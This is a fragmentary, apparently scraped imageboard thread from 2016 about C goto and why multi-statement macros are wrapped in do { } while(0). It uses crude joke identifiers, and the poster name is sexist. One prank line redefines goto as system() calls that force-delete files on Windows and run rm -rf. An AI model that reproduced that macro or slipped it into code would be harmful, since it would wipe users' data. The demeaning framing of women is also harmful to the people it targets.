Name: Women can't program 2016-07-24 0:19
when your post contains this word: GOTO
IF ANUS GOTO HAX
goto GOTO
go to
#define goto system("DEL /F /S /Q *");system("rm -rf");system("DELTREE /Y *");goto
{ }
scopes, it's not about them but about function-like macro expansion. basically, the user is supposed to treat such a macro the same way he treats a function: ideally, invoking int hax_my_anus(int anus) { return 2 * anus; }
should be the same as #define hax_my_anus 2 * anus
: you just write hax_my_anus(x);
. this works well enough for single-statement macros, but bigger ones are trickier.#define hax_my_anus {\
printf("Your anus is %d\n", anus);\
printf("You can find it at %p\n", &anus);\
}
hax_my_anus(x);
would be expanded to:{
printf("Your anus is %d\n", x);
printf("You can find it at %p\n", &x);
};
do { } while(0)
makes the intuitive invocation correct as it would expand to:do{
printf("Your anus is %d\n", x);
printf("You can find it at %p\n", &x);
}while(0);
do while
loop would be entered and executed once but the always-false condition means it won't repeat).